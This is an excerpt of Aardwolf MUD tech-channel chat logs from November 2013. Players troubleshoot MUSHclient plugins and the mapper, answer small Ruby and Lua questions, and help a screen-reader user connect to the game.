T3/r7/2013-11-02.txt.gz:{chan ch=tech}Brun Tech: then ctrl-v
T3/r7/2013-11-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: oh lol nm i lied lol
T3/r7/2013-11-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im using str:gsub("%a", string.upper,1) ... to make an item proper case but for some reason a name like NameName is not going correctly, any ideas?
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Hyuuga Neji Tech: can someone give advice
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Tech: Quadrapus stares at the sky.
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Ixle Tech: Don't take a bath in gasoline.
T3/r7/2013-11-02.txt.gz:{chan ch=tech}MarulaBoom Tech: on?
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Tech: Six-String Strazor is showing off his immense intelligence again. Impressive, isn't he.
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Hyuuga Neji Tech: my aard got screwy after i went from pc to phone (mxit)...
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Six-String Strazor Tech: I'm out.
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Ixle Tech: Turn tags off Neji
T3/r7/2013-11-02.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: if xterm is activated on pc, when you go to mxit it lags
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Hyuuga Neji Tech: its not lagging. Show lot of other stuff..
T3/r7/2013-11-02.txt.gz:{chan ch=tech}MarulaBoom Tech: like what stuff
T3/r7/2013-11-02.txt.gz:{chan ch=tech}MarulaBoom Tech: try "tags off"
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Hyuuga Neji Tech: well that worked, thank you!!
T3/r7/2013-11-02.txt.gz:{chan ch=tech}MarulaBoom Tech: np :)
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Ixle Tech: Anyone using Chrome to Phone extension should check out Push Bullet. Phone to Chrome and a bunch of other stuff.
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Hmm. I have to disable the Prompt Fixer plugin in order to see my main screen in MUSH... :\
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Mr. Dash Tech: yeah. that plugin is bugged near as i can tell, etzli
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Tech: what would you see without disabling it?
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Mr. Dash Tech: you pretty much see no text in the main window in some situations
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Tech: the only issue I've heard of with that plugin is when people alias "p" to soemething else, but that was fixed later
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Turie Tech: Its description says "To Fixes prompt at startup so triggers work consistently".
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Absolutely nothing. The commands will go through (as I can chat and whatnot), but all I get with it enabled is the local echo to the screen. I can spam "score" 100 times, and all I'll see is "score" 100 times, not the output.
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Tech: hmm, I've known that to happen lots when you enable a buttload of Bast plugins at once
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Aduin Tech: I had the same thing but with one of bast's plugins, no text at all until disable.
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Book of Etzli Tech: I don't have Bast's plugins.
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Mr. Dash Tech: i've seen it happen in vanilla installs of the mushclient package
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Book of Etzli Tech: checkversion: You are currently using Aardwolf MUSHclient Package version: r1773
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Mr. Dash Tech: i think it is something to do with a person's prompt though i didn't test it enough to narrow down the cause
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Turie Tech: I have a similar issue when using Cheezburger's Hour of Double plugin.
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Yeah, I'm just using the vanilla. It's a secondary client when I don't have access to CMUD.
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Meh. My prompts are set as: %c>Note read!%c
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Tech: ahh, looks like the text was changed, so it never sees that "p data" (or "prompt data") finishes
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Er, %c>Prompt: Note read!%c
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Tech: it has triggers for rawcolor game prompt, rawcolor battle prompt, regular game prompt and "Battle prompt set to"...the battleprompt set to calls the "finish" function...that'd never get called since that text isn't in the command output
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Mr. Dash Tech: ah, useful info, but no fiendish
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Aduin Tech: Useful to know, wouldnt it be better if it relied on mxp vars, or is the prompt not in that data?
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Tech: fiendish will get it the info :-)
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Tech: mxp doesn't exist, and the prompt isn't available in gmcp
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Interesting. Will fix that on my end, then.
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Aduin Tech: Ow, sorry im noobish, I thought we had mxp, but its gmcp
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Tech: almost no plugins rely on the prompt...but unterminated prompts will mess with anchored (well-written) triggers
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Mr. Dash Tech: i mean, if your prompt ends in %%c then i don't there is a need to keep the plugin enabled
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Tech: so the prompt fixer plugin terminates your prompts
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Mr. Dash Tech: er %c
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Tech: right, that's the only job of the plugin
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Okay, good, then I can safely remove it and not worry about it.
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Turlak Tech: anyone using blowtorch?
T3/r7/2013-11-02.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: i use it when im at work. whats up?
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Quadrapus Tech: Can anyone help me out with a bitmask question? Send a tell.
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Tech: rofl, I love the second comment on http://stu.mp/2004/06/a-quick-bitmask-howto-for-programmers.html
T3/r7/2013-11-02.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: lol wow..
T3/r7/2013-11-02.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: the hubris
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Quadrapus Tech: Good thing I don't call myself a programmer :)
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Tech: tbh, I had to google the term as I'm more network and was thinking netmask (which is still binary masking, but different as it's more constrained)...but it's just the way that standard diku stored values
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Quadrapus Tech: Ahh
T3/r7/2013-11-02.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: its a type of bitmask.. thats where i picked up the idea of bitmask, though id practically used it previously just didnt have that term
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Quadrapus Tech: Yeah I understand everything here, I have a more specific question. Thanks though :)
T3/r7/2013-11-02.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: makes sense for flags... way less complex indexing, but a little more obscure to write the queries for most devs
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Quadrapus Tech: Sorry, flags?
T3/r7/2013-11-02.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: ex. object flags, a collection of true/false bits
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Quadrapus Tech: Ohhh in the game. Gotchya
T3/r7/2013-11-02.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: basically an enumeration in which one or more may be "set"
T3/r7/2013-11-02.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: well the term flags is a coding term first, the game takes from that
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Asterax Tech: Is there an easy way to make mush create a log file for every single day? if there is some page that has this info, feel free to just link it.
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Redryn Tech: set logging settings to automatically log to %E/logs/%d-%m-%Y.txt
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Redryn Tech: well just %d-%m-%Y.txt is important
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Redryn Tech: it'll write to whatever filename you have, so you have to make it change daily
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Tech: and then you'd need to have a timer that does CloseLog and OpenLog
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Redryn Tech: idk how i set it up but i don't remember having to set timers
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Tech: CloseLog () one one line, and the next line is OpenLog ("", true), and send to script
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Tech: going by http://www.gammon.com.au/forum/?id=993 & http://www.gammon.com.au/forum/?id=9724 & http://www.gammon.com.au/forum/?id=3195, all 3 of which Nick says it has to be done
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Dochyel Tech: anyone know the specifics about phones and the touch sensitivity? I'm trying to make buttons and when I touch the screen it starts scrolling automatically. any suggestions besides using my PC?
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Ranrr Tech: Does the aardmapper store custom exits in the Aardwolf.db database or somewhere else?
T3/r7/2013-11-02.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: what client?
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Ranrr Tech: MUSH
T3/r7/2013-11-02.txt.gz:{chan ch=tech}Redryn Tech: .db
T3/r7/2013-11-03.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i dont see it in the database
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Ranrr Tech: Hmmm.... ok, guess I'll have to dig into the code.
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Mr. Dash Tech: yes. cexits are stored in the aardwolf.db file
T3/r7/2013-11-03.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i only see normal exits
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Mr. Dash Tech: what are you using to open the db?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Sickerone Tech: 0h
T3/r7/2013-11-03.txt.gz:{chan ch=tech}HelperMan Hadar Tech: sqliteman
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Ranrr Tech: Yep, they are stored there, found them.
T3/r7/2013-11-03.txt.gz:{chan ch=tech}HelperMan Hadar Tech: ahhh they are thrown in the exits table =/
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Sickerone Tech: anyone know of a plugin that creates buttons for commands?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: How do I "mark off" a certain path so that mapper won't use it to go from point A to point B?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: when I use xrt to go to reliquished tombs, it tries to run through the backstage pass drageren portal, but that has a no passdoor door
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Sickerone Tech: try purging the rooms
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Sickerone Tech: or the whole area in an extreme case
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Dethronicus Tech: mapper lockexit I guess
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: hmm, i could try that I guess. thanks deth
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: sickerone, there is nothing wrong with the way the area is mapped. I simply want to redirect the mapper
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Sickerone Tech: oh missread
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Redryn Tech: anyone know ruby?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Pleiades Tech: the language?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Redryn Tech: yes
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Pleiades Tech: used it a few years ago... dont remember much unfortunately
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: Redryn goes, "Hmmmm."
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: why not just ask the question?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Redryn Tech: i have an array called id_to, i perform 'tid_to = id_to' (which i assume copies it), then i do a bunch of tid_to.shift which deletes the first element in tid_to. However, elements in id_to are getting deleted as well
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Redryn Tech: i'm guessing somehow it's not creating a separate array and somehow is still linked to the original, but no idea how/why
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Trachx Tech: should you not use rather rray.dup ?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Trachx Tech: should you not use rather \rray.dup ?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Trachx Tech: should you not use rather (at)array.dup ?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Trachx Tech: sorry, I've missed @
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Redryn Tech: ah
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Redryn Tech: ok thanks
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Trachx Tech: you may consider using clone depending on whether you need extra clone features or not (https://coderwall.com/p/1zflyg)
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Redryn Tech: nod, doesn't make a difference here but thanks for tip!
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Lilleana Tech: every time I go to Ascent it breaks my mapper :-( 
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Turie Tech: How do you do that?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Lilleana Tech: well, when i RT AScent i pass a room - SilverMist Road - and every time i hit this room it breaks - I get a runtime error 
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Lilleana Tech: actually it's anytime i just walk into that room - either with a RT or manually - it resulst in a runtime error and my mapper having to be reloaded 
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Redryn Tech: try purging the zone
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Turie Tech: Or you can delete the room
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Lilleana Tech: how do you delete the room? 
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Turie Tech: Right click on the room and select delete room in the mapper window
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Lilleana Tech: nope that didn't do it
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Lilleana Tech: deleted the room, walked back in the room, and bam, runtime error and mapper down
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Turie Tech: I am wondering if your mapper db is corrupted. Try purging the whole aylor zone.
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: yeah, try to remove aylor. my mapper does nothing wrong in those rooms.
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: mapper purgezone aylor
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Lilleana Tech: will, no errors anymore
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Lilleana Tech: oh wait i didn't reinstall mapper 
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Lilleana Tech: okay, it seems to be fixed 
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Lilleana Tech: i thought it was ascent and i purged ascent yesterday, oh well, thanks a lot 
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: in future, use "mapper find roomname"
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Lilleana Tech: in future of what? 
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: if one room screws your db
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Turie Tech: He is referring to when an error occurs to see if the room is screwed up.
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Lilleana Tech: oh, no i just didn't backtrack and thought it was in ascent that it kept happening because I kept rt ascent and it would error out 
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Lilleana Tech: just my not paying attention - don't try to fix mush when you're half asleep is the lesson learned!
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: if I made an alias to equip my portal, enter it, then "quest complete," would it work out well, or would it fire them all at once and screw something up?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Lilleana Tech: I have an alias set to "done" so when I fiish my quest I hold my portal, enter, and quest complete - works just fine so long as i'm in a room i can enter a portal 
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: thanks Lilly
T3/r7/2013-11-03.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im using ubuntu and randomlly my screen started turning off while idle (after about 5 min) but when i go into my settings turn off screen is set to never, any ideas?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: your screen may have its own idle timer...if image hasn't changed in xxx time, go dark...also, aside from "turn off screen" setting, look for a screensaver, which may be "go black"
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Keldrath Tech: that was interesting. "Attempting to restart MCCP Compression.." then a page of raw data
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tormat Tech: hehe, nice
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tormat Tech: what client?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Keldrath Tech: mudlet
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: after qreset ;-)
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Well that's disappointing... installed the WolframAlpha CFD player, it came with the RotBrow trojan installer
T3/r7/2013-11-03.txt.gz:{chan ch=tech}U T T E R Nonsense Tech: Bonus!
T3/r7/2013-11-03.txt.gz:{chan ch=tech}U T T E R Nonsense Tech: I installed my second gtx 680 yesterday and I turned the graphics to max in Final Fantasy XIV... I've been having a visual orgasm ever since
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Izocinoc Tech: is it possible to move the input bar in mushclient?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Swalec Tech: resize, yes, but move, I don't think so
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Izocinoc Tech: resize the width, or just the number of rows it displays?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: is mushclient easy to use for the VI?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: should ask on gossip or question, large audience of opnions.
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: would anyone be able to give me advice with mushclient? I've never used it before and am VI, have been using vip MUD with Aard
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Bode Tech: I am new to muchclient my self, so i am no help
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Notwalking Tech: neither vi nor an expert, but if you have specific questions, i may be able to help
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: usually easier to just ask, and then keep an ear on tech to learn
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: did you get it from this site: http://www.aardwolf.com/play/downloadmc.htm
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: question is that once I open it, it says backing up database, and then gives a link to some website, but how do I actually get in to play aardwolf?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: between those two things, it tells you what to do...
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: um..ok I'll look again
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Notwalking Tech: has it appeared to connect to aardwolf at all?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: Automated map database backup is now stopped. Screen reader users: To bypass the welcome screen and connect to the game, type "connect to aardwolf" without the quotation marks and then press enter. For more information about the package be sure to check out http://tinyurl.com/aardclientmanual
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: it would not connect to aard until you close the intro window, either using the mouse or by typing the text mentioned
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: well at the bottom it says times until next tick... is that mean it's connected?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: did it read the welcome to aardwolf stuff?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: I don't see anywhere to type that with my screen reader, it isn't the easiest thing with jaws it seems
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: no
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: there's actually no "anywhere to type" with MUSHclient...it should always put your typing into the input bar
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: I don't see welcome at all
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: oh ok, let me try again
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: so with MUSHclient in the foreground, try typing connect to aardwolf
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: ok, it logged me in, but now shows tons of = : " , - etc. and then my stats under it, not room desc or anything like that
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: statmon?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Bode Tech: there are multiple windows with that version.
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Bode Tech: "windows" 
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: and now my vip MUD says for the tech and barter channels [chan ce] before the name of the channel, never had that happen before
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: it's mushclient turning on tags that your vipbud does not know how to gag
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: ok I got it fixed, it had something to do with automap being on, but mush must have turned that on bc I didn't lol
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: no, but  chan ce  is still there hmm..
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: mush turns on lots of features.
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: help tags 
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: the map is gone but the other thing isn't gone
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: tags off would turn all of them off
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: great, thank you lol, that was pretty annoying
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: so are there any special commands or anything I need to know about mush?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: you never answered to abes question, did you download it from that site?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: nah
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: oh sorry didn't see the question, which site?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: tech -h abe
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: he did get it from the right place...vanilla mush wouldn't turn on tags, etc
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: nod
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: not sure, got it from aardwolf.com I thought, or through there anyway
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: unicorn: you'll want to get familiar with the mapper help commands
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: right place
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: ok I'll look at it now, but am I able to turn automap off on mushclient or no? I find it very..disrupting and annoying
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: sure
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: you'll want to open up the plugins window and disable the Aardwolf_Ascii_Mapper plugin
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: you can open the plugins window by going to file -> plugins, or by using ctrl-shift-p
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: which file did u say i needed?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: you'd want to turn off aardwolf_ascii_mapper
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: aardwolf_ascii_mapper
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: so is that an option or a file?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: nod
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: Unicornbaby nods.
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: ctrl-shift-p turn off that from list
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: k thanks
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: do I first need to sign onto aard with mush to use the control+shift+p command?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: it's mushclient command, so no
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: ok, I think it worked, that's all I have to do then?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: until next problem comes up
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: well...I did have one other question lol, One of the main reasons I'm switching to mush.
T3/r7/2013-11-03.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: anyone know of a miniwindow tracker for cps for mush?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: you mean like bast or winklewinkle?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: don't know of one, but I've heard that there is one
T3/r7/2013-11-03.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: winkles, thats the one i was trying to remember, ty
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: aren't those both players? lol
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: players make scripts/plugins
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: finger them and you get address to find their plugins
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: finger that player to see their website
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: bast has a buttload of plugins, winkle has a few
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: winkle has 1 where u can hunt cp mobs?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: winklewinkle has AWESOME mapper extender that allows you to runto any area with shortest path. which mapper doesnt do 
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: nice, does that make it to show the map though even if automap is off?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: well, mapper does do it, it just doesn't accdept the areaname as an argument...if the mapper didn't do it, then mapper extender wouldn't work ;-)
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: the mapper is different than automap
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: ha ha abe :P
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: automap is just the ascii display that Aard sends out...the mapper is a database of rooms and exits
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: and portals
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: ahh I see, I just don't like all the symbols automap shows lol
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: which is an exit
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: portals are just a method of exits :-)
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: you'll want to keep the mapper loaded, and leave automap off...yeah, the symbols do nothing for a screen reader
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: ok, so the map for cp is on his website?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: but from those I would choose winkles extender. bast has little to offer to vi player
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: that's not true
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: lol
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: one of bast's plugins is a driving force for unicorn trying mushclient ;-)
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: I said little
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: not not at all :P
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: a huge number of VERY good scripts is not little
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: yeah yeah, semantics
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tormat Tech: what script is the reason?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: many of his scripts are just as valuable to VI as sighted
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: this particular one would be the rearm
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tormat Tech: ah
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: others would be all of his equipment stuff, planes mobs, etc
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: are the names of his scripts specific so I'll know which one is for cp's?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: both players have their plugins well documented
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: and what do I do once I download it?
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: sorry for so many questions btw
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: even his statmonitor stuff would be good for VI
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Tech: both winkle and bast store their stuff on google code, so you'd go to the downloads tab and download it from there
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Nuanse Tech: not sure if you like it, but finger pei for nice amount of sounds to play with...it's for mush
T3/r7/2013-11-03.txt.gz:{chan ch=tech}Unicornbaby Tech: yes, but once it's downloaded, do I need to open it or do anything with it, or is it already setup with mush?
